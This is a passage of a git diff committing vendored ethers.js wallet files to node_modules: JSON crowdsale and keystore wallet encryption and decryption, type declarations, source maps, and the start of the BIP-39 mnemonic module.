"./hdwallet.js"; +export { isCrowdsaleJson, decryptCrowdsaleJson } from "./json-crowdsale.js"; +export { isKeystoreJson, decryptKeystoreJsonSync, decryptKeystoreJson, encryptKeystoreJson, encryptKeystoreJsonSync } from "./json-keystore.js"; +export { Mnemonic } from "./mnemonic.js"; +export { Wallet } from "./wallet.js"; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/index.js.map b/node_modules/ethers/lib.esm/wallet/index.js.map new file mode 100644 index 000000000000..f3137924a68a --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/wallet/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;GAiBG;AAEH,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAE9C,OAAO,EACH,WAAW,EAEX,cAAc,EAAE,qBAAqB,EAErC,YAAY,EACZ,gBAAgB,GACnB,MAAM,eAAe,CAAC;AAEvB,OAAO,EAAE,eAAe,EAAE,oBAAoB,EAAE,MAAM,qBAAqB,CAAC;AAE5E,OAAO,EACH,cAAc,EACd,uBAAuB,EAAE,mBAAmB,EAC5C,mBAAmB,EAAE,uBAAuB,EAC/C,MAAM,oBAAoB,CAAC;AAE5B,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAEzC,OAAO,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/json-crowdsale.d.ts b/node_modules/ethers/lib.esm/wallet/json-crowdsale.d.ts new file mode 100644 index 000000000000..3d7f4a2bc521 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/json-crowdsale.d.ts @@ -0,0 +1,27 @@ +/** + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ +/** + * The data stored within a JSON Crowdsale wallet is fairly + * minimal. + */ +export type CrowdsaleAccount = { + privateKey: string; + address: string; +}; +/** + * Returns true if %%json%% is a valid JSON Crowdsale wallet. + */ +export declare function isCrowdsaleJson(json: string): boolean; +/** + * Before Ethereum launched, it was necessary to create a wallet + * format for backers to use, which would be used to receive ether + * as a reward for contributing to the project. + * + * The [[link-crowdsale]] format is now obsolete, but it is still + * useful to support and the additional code is fairly trivial as + * all the primitives required are used through core portions of + * the library. + */ +export declare function decryptCrowdsaleJson(json: string, _password: string | Uint8Array): CrowdsaleAccount; +//# sourceMappingURL=json-crowdsale.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/json-crowdsale.d.ts.map b/node_modules/ethers/lib.esm/wallet/json-crowdsale.d.ts.map new file mode 100644 index 000000000000..a569abcd4230 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/json-crowdsale.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"json-crowdsale.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/json-crowdsale.ts"],"names":[],"mappings":"AAAA;;GAEG;AAYH;;;GAGG;AACH,MAAM,MAAM,gBAAgB,GAAG;IAC3B,UAAU,EAAE,MAAM,CAAC;IACnB,OAAO,EAAE,MAAM,CAAC;CACnB,CAAA;AAED;;GAEG;AACH,wBAAgB,eAAe,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAMrD;AAID;;;;;;;;;GASG;AACH,wBAAgB,oBAAoB,CAAC,IAAI,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM,GAAG,UAAU,GAAG,gBAAgB,CA2BnG"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/json-crowdsale.js b/node_modules/ethers/lib.esm/wallet/json-crowdsale.js new file mode 100644 index 000000000000..a912118801c7 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/json-crowdsale.js @@ -0,0 +1,55 @@ +/** + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ +import { CBC, pkcs7Strip } from "aes-js"; +import { getAddress } from "../address/index.js"; +import { pbkdf2 } from "../crypto/index.js"; +import { id } from "../hash/index.js"; +import { getBytes, assertArgument } from "../utils/index.js"; +import { getPassword, looseArrayify, spelunk } from "./utils.js"; +/** + * Returns true if %%json%% is a valid JSON Crowdsale wallet. + */ +export function isCrowdsaleJson(json) { + try { + const data = JSON.parse(json); + if (data.encseed) { + return true; + } + } + catch (error) { } + return false; +} +// See: https://github.com/ethereum/pyethsaletool +/** + * Before Ethereum launched, it was necessary to create a wallet + * format for backers to use, which would be used to receive ether + * as a reward for contributing to the project. + * + * The [[link-crowdsale]] format is now obsolete, but it is still + * useful to support and the additional code is fairly trivial as + * all the primitives required are used through core portions of + * the library. + */ +export function decryptCrowdsaleJson(json, _password) { + const data = JSON.parse(json); + const password = getPassword(_password); + // Ethereum Address + const address = getAddress(spelunk(data, "ethaddr:string!")); + // Encrypted Seed + const encseed = looseArrayify(spelunk(data, "encseed:string!")); + assertArgument(encseed && (encseed.length % 16) === 0, "invalid encseed", "json", json); + const key = getBytes(pbkdf2(password, password, 2000, 32, "sha256")).slice(0, 16); + const iv = encseed.slice(0, 16); + const encryptedSeed = encseed.slice(16); + // Decrypt the seed + const aesCbc = new CBC(key, iv); + const seed = pkcs7Strip(getBytes(aesCbc.decrypt(encryptedSeed))); + // This wallet format is weird... Convert the binary encoded hex to a string. + let seedHex = ""; + for (let i = 0; i < seed.length; i++) { + seedHex += String.fromCharCode(seed[i]); + } + return { address, privateKey: id(seedHex) }; +} +//# sourceMappingURL=json-crowdsale.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/json-crowdsale.js.map b/node_modules/ethers/lib.esm/wallet/json-crowdsale.js.map new file mode 100644 index 000000000000..2281cca95733 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/json-crowdsale.js.map @@ -0,0 +1 @@ +{"version":3,"file":"json-crowdsale.js","sourceRoot":"","sources":["../../src.ts/wallet/json-crowdsale.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,OAAO,EAAE,GAAG,EAAE,UAAU,EAAE,MAAM,QAAQ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CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;IAElF,MAAM,EAAE,GAAG,OAAO,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;IAChC,MAAM,aAAa,GAAG,OAAO,CAAC,KAAK,CAAC,EAAE,CAAC,CAAC;IAExC,mBAAmB;IACnB,MAAM,MAAM,GAAG,IAAI,GAAG,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;IAChC,MAAM,IAAI,GAAG,UAAU,CAAC,QAAQ,CAAC,MAAM,CAAC,OAAO,CAAC,aAAa,CAAC,CAAC,CAAC,CAAC;IAEjE,6EAA6E;IAC7E,IAAI,OAAO,GAAG,EAAE,CAAC;IACjB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,IAAI,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QAClC,OAAO,IAAI,MAAM,CAAC,YAAY,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC;KAC3C;IAED,OAAO,EAAE,OAAO,EAAE,UAAU,EAAE,EAAE,CAAC,OAAO,CAAC,EAAE,CAAC;AAChD,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/json-keystore.d.ts b/node_modules/ethers/lib.esm/wallet/json-keystore.d.ts new file mode 100644 index 000000000000..c01076fe6ce2 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/json-keystore.d.ts @@ -0,0 +1,89 @@ +/** + * The JSON Wallet formats allow a simple way to store the private + * keys needed in Ethereum along with related information and allows + * for extensible forms of encryption. + * + * These utilities facilitate decrypting and encrypting the most common + * JSON Wallet formats. + * + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ +import type { ProgressCallback } from "../crypto/index.js"; +import type { BytesLike } from "../utils/index.js"; +/** + * The contents of a JSON Keystore Wallet. + */ +export type KeystoreAccount = { + address: string; + privateKey: string; + mnemonic?: { + path?: string; + locale?: string; + entropy: string; + }; +}; +/** + * The parameters to use when encrypting a JSON Keystore Wallet. + */ +export type EncryptOptions = { + progressCallback?: ProgressCallback; + iv?: BytesLike; + entropy?: BytesLike; + client?: string; + salt?: BytesLike; + uuid?: string; + scrypt?: { + N?: number; + r?: number; + p?: number; + }; +}; +/** + * Returns true if %%json%% is a valid JSON Keystore Wallet. + */ +export declare function isKeystoreJson(json: string): boolean; +/** + * Returns the account details for the JSON Keystore Wallet %%json%% + * using %%password%%. + * + * It is preferred to use the [async version](decryptKeystoreJson) + * instead, which allows a [[ProgressCallback]] to keep the user informed + * as to the decryption status. + * + * This method will block the event loop (freezing all UI) until decryption + * is complete, which can take quite some time, depending on the wallet + * paramters and platform. + */ +export declare function decryptKeystoreJsonSync(json: string, _password: string | Uint8Array): KeystoreAccount; +/** + * Resolves to the decrypted JSON Keystore Wallet %%json%% using the + * %%password%%. + * + * If provided, %%progress%% will be called periodically during the + * decrpytion to provide feedback, and if the function returns + * ``false`` will halt decryption. + * + * The %%progressCallback%% will **always** receive ``0`` before + * decryption begins and ``1`` when complete. + */ +export declare function decryptKeystoreJson(json: string, _password: string | Uint8Array, progress?: ProgressCallback): Promise; +/** + * Return the JSON Keystore Wallet for %%account%% encrypted with + * %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used. Any provided [[ProgressCallback]] is ignord. + */ +export declare function encryptKeystoreJsonSync(account: KeystoreAccount, password: string | Uint8Array, options?: EncryptOptions): string; +/** + * Resolved to the JSON Keystore Wallet for %%account%% encrypted + * with %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used and provide a [[ProgressCallback]] to receive periodic updates + * on the completion status.. + */ +export declare function encryptKeystoreJson(account: KeystoreAccount, password: string | Uint8Array, options?: EncryptOptions): Promise; +//# sourceMappingURL=json-keystore.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/json-keystore.d.ts.map b/node_modules/ethers/lib.esm/wallet/json-keystore.d.ts.map new file mode 100644 index 000000000000..2ce64555d7cf --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/json-keystore.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"json-keystore.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/json-keystore.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AAaH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,oBAAoB,CAAC;AAC3D,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAOnD;;GAEG;AACH,MAAM,MAAM,eAAe,GAAG;IAC1B,OAAO,EAAE,MAAM,CAAC;IAChB,UAAU,EAAE,MAAM,CAAC;IACnB,QAAQ,CAAC,EAAE;QACP,IAAI,CAAC,EAAE,MAAM,CAAC;QACd,MAAM,CAAC,EAAE,MAAM,CAAC;QAChB,OAAO,EAAE,MAAM,CAAC;KACnB,CAAA;CACJ,CAAC;AAEF;;GAEG;AACH,MAAM,MAAM,cAAc,GAAG;IAC1B,gBAAgB,CAAC,EAAE,gBAAgB,CAAC;IACpC,EAAE,CAAC,EAAE,SAAS,CAAC;IACf,OAAO,CAAC,EAAE,SAAS,CAAC;IACpB,MAAM,CAAC,EAAE,MAAM,CAAC;IAChB,IAAI,CAAC,EAAE,SAAS,CAAC;IACjB,IAAI,CAAC,EAAE,MAAM,CAAC;IACd,MAAM,CAAC,EAAE;QACL,CAAC,CAAC,EAAE,MAAM,CAAC;QACX,CAAC,CAAC,EAAE,MAAM,CAAC;QACX,CAAC,CAAC,EAAE,MAAM,CAAC;KACd,CAAA;CACH,CAAA;AAED;;GAEG;AACH,wBAAgB,cAAc,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAOpD;AA+GD;;;;;;;;;;;GAWG;AACH,wBAAgB,uBAAuB,CAAC,IAAI,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM,GAAG,UAAU,GAAG,eAAe,CAiBrG;AAMD;;;;;;;;;;GAUG;AACH,wBAAsB,mBAAmB,CAAC,IAAI,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM,GAAG,UAAU,EAAE,QAAQ,CAAC,EAAE,gBAAgB,GAAG,OAAO,CAAC,eAAe,CAAC,CAyB7I;AAsGD;;;;;;;GAOG;AACH,wBAAgB,uBAAuB,CAAC,OAAO,EAAE,eAAe,EAAE,QAAQ,EAAE,MAAM,GAAG,UAAU,EAAE,OAAO,CAAC,EAAE,cAAc,GAAG,MAAM,CAOjI;AAED;;;;;;;;GAQG;AACH,wBAAsB,mBAAmB,CAAC,OAAO,EAAE,eAAe,EAAE,QAAQ,EAAE,MAAM,GAAG,UAAU,EAAE,OAAO,CAAC,EAAE,cAAc,GAAG,OAAO,CAAC,MAAM,CAAC,CAO5I"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/json-keystore.js b/node_modules/ethers/lib.esm/wallet/json-keystore.js new file mode 100644 index 000000000000..1b706ff70203 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/json-keystore.js @@ -0,0 +1,287 @@ +/** + * The JSON Wallet formats allow a simple way to store the private + * keys needed in Ethereum along with related information and allows + * for extensible forms of encryption. + * + * These utilities facilitate decrypting and encrypting the most common + * JSON Wallet formats. + * + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ +import { CTR } from "aes-js"; +import { getAddress } from "../address/index.js"; +import { keccak256, pbkdf2, randomBytes, scrypt, scryptSync } from "../crypto/index.js"; +import { computeAddress } from "../transaction/index.js"; +import { concat, getBytes, hexlify, uuidV4, assert, assertArgument } from "../utils/index.js"; +import { getPassword, spelunk, zpad } from "./utils.js"; +import { version } from "../_version.js"; +const defaultPath = "m/44'/60'/0'/0/0"; +/** + * Returns true if %%json%% is a valid JSON Keystore Wallet. + */ +export function isKeystoreJson(json) { + try { + const data = JSON.parse(json); + const version = ((data.version != null) ? parseInt(data.version) : 0); + if (version === 3) { + return true; + } + } + catch (error) { } + return false; +} +function decrypt(data, key, ciphertext) { + const cipher = spelunk(data, "crypto.cipher:string"); + if (cipher === "aes-128-ctr") { + const iv = spelunk(data, "crypto.cipherparams.iv:data!"); + const aesCtr = new CTR(key, iv); + return hexlify(aesCtr.decrypt(ciphertext)); + } + assert(false, "unsupported cipher", "UNSUPPORTED_OPERATION", { + operation: "decrypt" + }); +} +function getAccount(data, _key) { + const key = getBytes(_key); + const ciphertext = spelunk(data, "crypto.ciphertext:data!"); + const computedMAC = hexlify(keccak256(concat([key.slice(16, 32), ciphertext]))).substring(2); + assertArgument(computedMAC === spelunk(data, "crypto.mac:string!").toLowerCase(), "incorrect password", "password", "[ REDACTED ]"); + const privateKey = decrypt(data, key.slice(0, 16), ciphertext); + const address = computeAddress(privateKey); + if (data.address) { + let check = data.address.toLowerCase(); + if (!check.startsWith("0x")) { + check = "0x" + check; + } + assertArgument(getAddress(check) === address, "keystore address/privateKey mismatch", "address", data.address); + } + const account = { address, privateKey }; + // Version 0.1 x-ethers metadata must contain an encrypted mnemonic phrase + const version = spelunk(data, "x-ethers.version:string"); + if (version === "0.1") { + const mnemonicKey = key.slice(32, 64); + const mnemonicCiphertext = spelunk(data, "x-ethers.mnemonicCiphertext:data!"); + const mnemonicIv = spelunk(data, "x-ethers.mnemonicCounter:data!"); + const mnemonicAesCtr = new CTR(mnemonicKey, mnemonicIv); + account.mnemonic = { + path: (spelunk(data, "x-ethers.path:string") || defaultPath), + locale: (spelunk(data, "x-ethers.locale:string") || "en"), + entropy: hexlify(getBytes(mnemonicAesCtr.decrypt(mnemonicCiphertext))) + }; + } + return account; +} +function getDecryptKdfParams(data) { + const kdf = spelunk(data, "crypto.kdf:string"); + if (kdf && typeof (kdf) === "string") { + if (kdf.toLowerCase() === "scrypt") { + const salt = spelunk(data, "crypto.kdfparams.salt:data!"); + const N = spelunk(data, "crypto.kdfparams.n:int!"); + const r = spelunk(data, "crypto.kdfparams.r:int!"); + const p = spelunk(data, "crypto.kdfparams.p:int!"); + // Make sure N is a power of 2 + assertArgument(N > 0 && (N & (N - 1)) === 0, "invalid kdf.N", "kdf.N", N); + assertArgument(r > 0 && p > 0, "invalid kdf", "kdf", kdf); + const dkLen = spelunk(data, "crypto.kdfparams.dklen:int!"); + assertArgument(dkLen === 32, "invalid kdf.dklen", "kdf.dflen", dkLen); + return { name: "scrypt", salt, N, r, p, dkLen: 64 }; + } + else if (kdf.toLowerCase() === "pbkdf2") { + const salt = spelunk(data, "crypto.kdfparams.salt:data!"); + const prf = spelunk(data, "crypto.kdfparams.prf:string!"); + const algorithm = prf.split("-").pop(); + assertArgument(algorithm === "sha256" || algorithm === "sha512", "invalid kdf.pdf", "kdf.pdf", prf); + const count = spelunk(data, "crypto.kdfparams.c:int!"); + const dkLen = spelunk(data, "crypto.kdfparams.dklen:int!"); + assertArgument(dkLen === 32, "invalid kdf.dklen", "kdf.dklen", dkLen); + return { name: "pbkdf2", salt, count, dkLen, algorithm }; + } + } + assertArgument(false, "unsupported key-derivation function", "kdf", kdf); +} +/** + * Returns the account details for the JSON Keystore Wallet %%json%% + * using %%password%%. + * + * It is preferred to use the [async version](decryptKeystoreJson) + * instead, which allows a [[ProgressCallback]] to keep the user informed + * as to the decryption status. + * + * This method will block the event loop (freezing all UI) until decryption + * is complete, which can take quite some time, depending on the wallet + * paramters and platform. + */ +export function decryptKeystoreJsonSync(json, _password) { + const data = JSON.parse(json); + const password = getPassword(_password); + const params = getDecryptKdfParams(data); + if (params.name === "pbkdf2") { + const { salt, count, dkLen, algorithm } = params; + const key = pbkdf2(password, salt, count, dkLen, algorithm); + return getAccount(data, key); + } + assert(params.name === "scrypt", "cannot be reached", "UNKNOWN_ERROR", { params }); + const { salt, N, r, p, dkLen } = params; + const key = scryptSync(password, salt, N, r, p, dkLen); + return getAccount(data, key); +} +function stall(duration) { + return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); }); +} +/** + * Resolves to the decrypted JSON Keystore Wallet %%json%% using the + * %%password%%. + * + * If provided, %%progress%% will be called periodically during the + * decrpytion to provide feedback, and if the function returns + * ``false`` will halt decryption. + * + * The %%progressCallback%% will **always** receive ``0`` before + * decryption begins and ``1`` when complete. + */ +export async function decryptKeystoreJson(json, _password, progress) { + const data = JSON.parse(json); + const password = getPassword(_password); + const params = getDecryptKdfParams(data); + if (params.name === "pbkdf2") { + if (progress) { + progress(0); + await stall(0); + } + const { salt, count, dkLen, algorithm } = params; + const key = pbkdf2(password, salt, count, dkLen, algorithm); + if (progress) { + progress(1); + await stall(0); + } + return getAccount(data, key); + } + assert(params.name === "scrypt", "cannot be reached", "UNKNOWN_ERROR", { params }); + const { salt, N, r, p, dkLen } = params; + const key = await scrypt(password, salt, N, r, p, dkLen, progress); + return getAccount(data, key); +} +function getEncryptKdfParams(options) { + // Check/generate the salt + const salt = (options.salt != null) ? getBytes(options.salt, "options.salt") : randomBytes(32); + // Override the scrypt password-based key derivation function parameters + let N = (1 << 17), r = 8, p = 1; + if (options.scrypt) { + if (options.scrypt.N) { + N = options.scrypt.N; + } + if (options.scrypt.r) { + r = options.scrypt.r; + } + if (options.scrypt.p) { + p = options.scrypt.p; + } + } + assertArgument(typeof (N) === "number" && N > 0 && Number.isSafeInteger(N) && (BigInt(N) & BigInt(N - 1)) === BigInt(0), "invalid scrypt N parameter", "options.N", N); + assertArgument(typeof (r) === "number" && r > 0 && Number.isSafeInteger(r), "invalid scrypt r parameter", "options.r", r); + assertArgument(typeof (p) === "number" && p > 0 && Number.isSafeInteger(p), "invalid scrypt p parameter", "options.p", p); + return { name: "scrypt", dkLen: 32, salt, N, r, p }; +} +function _encryptKeystore(key, kdf, account, options) { + const privateKey = getBytes(account.privateKey, "privateKey"); + // Override initialization vector + const iv = (options.iv != null) ? getBytes(options.iv, "options.iv") : randomBytes(16); + assertArgument(iv.length === 16, "invalid options.iv length", "options.iv", options.iv); + // Override the uuid + const uuidRandom = (options.uuid != null) ? getBytes(options.uuid, "options.uuid") : randomBytes(16); + assertArgument(uuidRandom.length === 16, "invalid options.uuid length", "options.uuid", options.iv); + // This will be used to encrypt the wallet (as per Web3 secret storage) + // - 32 bytes As normal for the Web3 secret storage (derivedKey, macPrefix) + // - 32 bytes AES key to encrypt mnemonic with (required here to be Ethers Wallet) + const derivedKey = key.slice(0, 16); + const macPrefix = key.slice(16, 32); + // Encrypt the private key + const aesCtr = new CTR(derivedKey, iv); + const ciphertext = getBytes(aesCtr.encrypt(privateKey)); + // Compute the message authentication code, used to check the password + const mac = keccak256(concat([macPrefix, ciphertext])); + // See: https://github.com/ethereum/wiki/wiki/Web3-Secret-Storage-Definition + const data = { + address: account.address.substring(2).toLowerCase(), + id: uuidV4(uuidRandom), + version: 3, + Crypto: { + cipher: "aes-128-ctr", + cipherparams: { + iv: hexlify(iv).substring(2), + }, + ciphertext: hexlify(ciphertext).substring(2), + kdf: "scrypt", + kdfparams: { + salt: hexlify(kdf.salt).substring(2), + n: kdf.N, + dklen: 32, + p: kdf.p, + r: kdf.r + }, + mac: mac.substring(2) + } + }; + // If we have a mnemonic, encrypt it into the JSON wallet + if (account.mnemonic) { + const client = (options.client != null) ? options.client : `ethers/${version}`; + const path = account.mnemonic.path || defaultPath; + const locale = account.mnemonic.locale || "en"; + const mnemonicKey = key.slice(32, 64); + const entropy = getBytes(account.mnemonic.entropy, "account.mnemonic.entropy"); + const mnemonicIv = randomBytes(16); + const mnemonicAesCtr = new CTR(mnemonicKey, mnemonicIv); + const mnemonicCiphertext = getBytes(mnemonicAesCtr.encrypt(entropy)); + const now = new Date(); + const timestamp = (now.getUTCFullYear() + "-" + + zpad(now.getUTCMonth() + 1, 2) + "-" + + zpad(now.getUTCDate(), 2) + "T" + + zpad(now.getUTCHours(), 2) + "-" + + zpad(now.getUTCMinutes(), 2) + "-" + + zpad(now.getUTCSeconds(), 2) + ".0Z"); + const gethFilename = ("UTC--" + timestamp + "--" + data.address); + data["x-ethers"] = { + client, gethFilename, path, locale, + mnemonicCounter: hexlify(mnemonicIv).substring(2), + mnemonicCiphertext: hexlify(mnemonicCiphertext).substring(2), + version: "0.1" + }; + } + return JSON.stringify(data); +} +/** + * Return the JSON Keystore Wallet for %%account%% encrypted with + * %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used. Any provided [[ProgressCallback]] is ignord. + */ +export function encryptKeystoreJsonSync(account, password, options) { + if (options == null) { + options = {}; + } + const passwordBytes = getPassword(password); + const kdf = getEncryptKdfParams(options); + const key = scryptSync(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64); + return _encryptKeystore(getBytes(key), kdf, account, options); +} +/** + * Resolved to the JSON Keystore Wallet for %%account%% encrypted + * with %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used and provide a [[ProgressCallback]] to receive periodic updates + * on the completion status.. + */ +export async function encryptKeystoreJson(account, password, options) { + if (options == null) { + options = {}; + } + const passwordBytes = getPassword(password); + const kdf = getEncryptKdfParams(options); + const key = await scrypt(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64, options.progressCallback); + return _encryptKeystore(getBytes(key), kdf, account, options); +} +//# sourceMappingURL=json-keystore.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/json-keystore.js.map b/node_modules/ethers/lib.esm/wallet/json-keystore.js.map new file mode 100644 index 000000000000..0738084c8109 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/json-keystore.js.map @@ -0,0 +1 @@ +{"version":3,"file":"json-keystore.js","sourceRoot":"","sources":["../../src.ts/wallet/json-keystore.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AAEH,OAAO,EAAE,GAAG,EAAE,MAAM,QAAQ,CAAC;AAE7B,OAAO,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;AACjD,OAAO,EAAE,SAAS,EAAE,MAAM,EAAE,WAAW,EAAE,MAAM,EAAE,UAAU,EAAE,MAAM,oBAAoB,CAAC;AACxF,OAAO,EAAE,cAAc,EAAE,MAAM,yBAAyB,CAAC;AACzD,OAAO,EACH,MAAM,EAAE,QAAQ,EAAE,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,cAAc,EAC5D,MAAM,mBAA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000000000000..b16011228c61 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/mnemonic.d.ts @@ -0,0 +1,65 @@ +import type { BytesLike } from "../utils/index.js"; +import type { Wordlist } from "../wordlists/index.js"; +/** + * A **Mnemonic** wraps all properties required to compute [[link-bip-39]] + * seeds and convert between phrases and entropy. + */ +export declare class Mnemonic { + /** + * The mnemonic phrase of 12, 15, 18, 21 or 24 words. + * + * Use the [[wordlist]] ``split`` method to get the individual words. + */ + readonly phrase: string; + /** + * The password used for this mnemonic. If no password is used this + * is the empty string (i.e. ``""``) as per the specification. + */ + readonly password: string; + /** + * The wordlist for this mnemonic. + */ + readonly wordlist: Wordlist; + /** + * The underlying entropy which the mnemonic encodes. + */ + readonly entropy: string; + /** + * @private + */ + constructor(guard: any, entropy: string, phrase: string, password?: null | string, wordlist?: null | Wordlist); + /** + * Returns the seed for the mnemonic. + */ + computeSeed(): string; + /** + * Creates a new Mnemonic for the %%phrase%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromPhrase(phrase: string, password?: null | string, wordlist?: null | Wordlist): Mnemonic; + /** + * Create a new **Mnemonic** from the %%entropy%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromEntropy(_entropy: BytesLike, password?: null | string, wordlist?: null | Wordlist): Mnemonic; + /** + * Returns the phrase for %%mnemonic%%. + */ + static entropyToPhrase(_entropy: BytesLike, wordlist?: null | Wordlist): string; + /** + * Returns the entropy for %%phrase%%. + */ + static phraseToEntropy(phrase: string, wordlist?: null | Wordlist): string; + /** + * Returns true if %%phrase%% is a valid [[link-bip-39]] phrase. + * + * This checks all the provided words belong to the %%wordlist%%, + * that the length is valid and the checksum is correct. + */ + static isValidMnemonic(phrase: string, wordlist?: null | Wordlist): boolean; +} +//# sourceMappingURL=mnemonic.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/mnemonic.d.ts.map b/node_modules/ethers/lib.esm/wallet/mnemonic.d.ts.map new file mode 100644 index 000000000000..c7ba058f4dae --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/mnemonic.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mnemonic.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/mnemonic.ts"],"names":[],"mappings":"AAMA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AACnD,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,uBAAuB,CAAC;AAgGtD;;;GAGG;AACH,qBAAa,QAAQ;IACjB;;;;OAIG;IACH,QAAQ,CAAC,MAAM,EAAG,MAAM,CAAC;IAEzB;;;OAGG;IACH,QAAQ,CAAC,QAAQ,EAAG,MAAM,CAAC;IAE3B;;OAEG;IACH,QAAQ,CAAC,QAAQ,EAAG,QAAQ,CAAC;IAE7B;;OAEG;IACH,QAAQ,CAAC,OAAO,EAAG,MAAM,CAAC;IAE1B;;OAEG;gBACS,KAAK,EAAE,GAAG,EAAE,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ;IAO7G;;OAEG;IACH,WAAW,IAAI,MAAM;IAKrB;;;;;OAKG;IACH,MAAM,CAAC,UAAU,CAAC,MAAM,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ,GAAG,QAAQ;IAOjG;;;;;OAKG;IACH,MAAM,CAAC,WAAW,CAAC,QAAQ,EAAE,SAAS,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ,GAAG,QAAQ;IAMvG;;OAEG;IACH,MAAM,CAAC,eAAe,CAAC,QAAQ,EAAE,SAAS,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ,GAAG,MAAM;IAK/E;;OAEG;IACH,MAAM,CAAC,eAAe,CAAC,MAAM,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ,GAAG,MAAM;IAI1E;;;;;OAKG;IACH,MAAM,CAAC,eAAe,CAAC,MAAM,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ,GAAG,OAAO;CAO9E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/mnemonic.js b/node_modules/ethers/lib.esm/wallet/mnemonic.js new file mode 100644 index 000000000000..95d69d358fa8 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/mnemonic.js @@ -0,0 +1,165 @@ +import { pbkdf2, sha256 } from "../crypto/index.js"; +import { defineProperties, getBytes, hexlify, assertNormalize, assertPrivate, assertArgument, toUtf8Bytes } from "../utils/index.js"; +import { LangEn } from "../wordlists/lang-en.js"; +// Returns a byte with the MSB bits set +function getUpperMask(bits) { + return ((1 << bits) - 1) << (8 - bits) & 0xff; +} +// Returns a byte with the LSB bits set +function getLowerMask(bits) { + return ((1 << bits) - 1) & 0xff; +} +function mnemonicToEntropy(mnemonic, wordlist) { + assertNormalize("NFKD"); + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + const words = 